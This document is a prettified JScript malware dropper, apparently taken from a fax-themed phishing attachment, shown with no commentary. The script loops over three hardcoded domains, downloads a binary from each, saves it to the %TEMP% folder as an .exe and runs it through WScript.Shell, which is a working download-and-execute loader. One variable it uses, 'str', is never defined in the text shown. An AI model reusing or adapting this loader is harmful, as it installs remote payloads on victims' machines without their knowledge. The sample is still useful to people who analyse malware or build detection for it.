fax-bait-1-prettified

var b = "pdeluxedesign.com monarchexcess2.com cjet.com.br".split(" ");
var ws = WScript.CreateObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + "231789";
var xo = WScript.CreateObject("MSXML2.XMLHTTP");
var xa = WScript.CreateObject("ADODB.Stream");
var ld = 0;
for(var n = 1; n <= 3; n++) {
  for(var i = ld; i < b.length; i++) {
    var dn = 0;
    try {
      xo.open("GET", "http://" + b[i] + "/counter/?id=" + str + "&rnd=338283" + n, false);
      xo.send();
      if(xo.status == 200) {
        xa.open();
        xa.type = 1;
        xa.write(xo.responseBody);
        if(xa.size > 1000) {
          dn = 1;
          xa.position = 0;
          xa.saveToFile(fn + n + ".exe", 2);
          try {
            ws.Run(fn + n + ".exe", 1, 0);
          } catch(er) {

          }
          ;
        }
        ;
        xa.close();
      }
      ;
      if(dn == 1) {
        ld = i;
        break;
      }
      ;
    } catch(er) {

    }
    ;
  }
  ;
}
;